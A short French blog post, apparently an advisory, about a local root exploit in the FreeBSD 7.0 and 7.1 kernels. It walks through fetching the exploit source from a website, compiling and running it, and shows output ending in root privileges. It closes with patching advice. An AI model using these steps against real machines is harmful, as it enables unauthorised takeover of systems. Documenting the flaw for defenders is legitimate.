Local Root Exploit sous FreeBSD 7.0 et 7.1
Une faille critique a été découverte dans le noyau de FreeBSD en version 7.0 et 7.1. Cette dernière est à prendre très au sérieux étant donnée qu'elle permet à un simple utilisateur d'obtenir les privilèges root.
Voici un exemple d'utilisation. Dans notre exemple, on a un accès à la machine avec un compte restreint :
$ id
uid=1001(seb) gid=1001(seb)
On récupère l'exploit, on le compile et on le lance :
fetch www.tux-planet.fr/public/hack/exploits/kernel/freebsd-7-local-root-exploit.c
gcc -o exploit freebsd-7-local-root-exploit.c
./exploitFreeBSD local kernel root exploit
by: christer/mu-b* allocated pointer page: 0x00000000 → 0x08000000 [134217728-bytes]
* allocated itimer struct: 0x20000000 → 0x20000000DC [220-bytes]
* filling pointer page... done
* found posix_clocks @ [0xc0c3e9a0]
* it_page->it_clockid: 0x0CBFCCFC [access @0xBFBFED58]
* ktimer_delete (0xD0000000)
* ktimer_delete: 0 1
On vérifiera ensuite que l'on a bien les droits root sur la machine (option euid) :
$ id
uid=1001(seb) gid=1001(seb) euid=0(root)
Il n'y a plus qu'à attendre un correctif et mettre ensuite le système d'exploitation à jour pour colmater cette faille. Si vous souhaitez connaître la version exacte de FreeBSD installée sur une machine, vous pouvez utiliser la commande uname -r.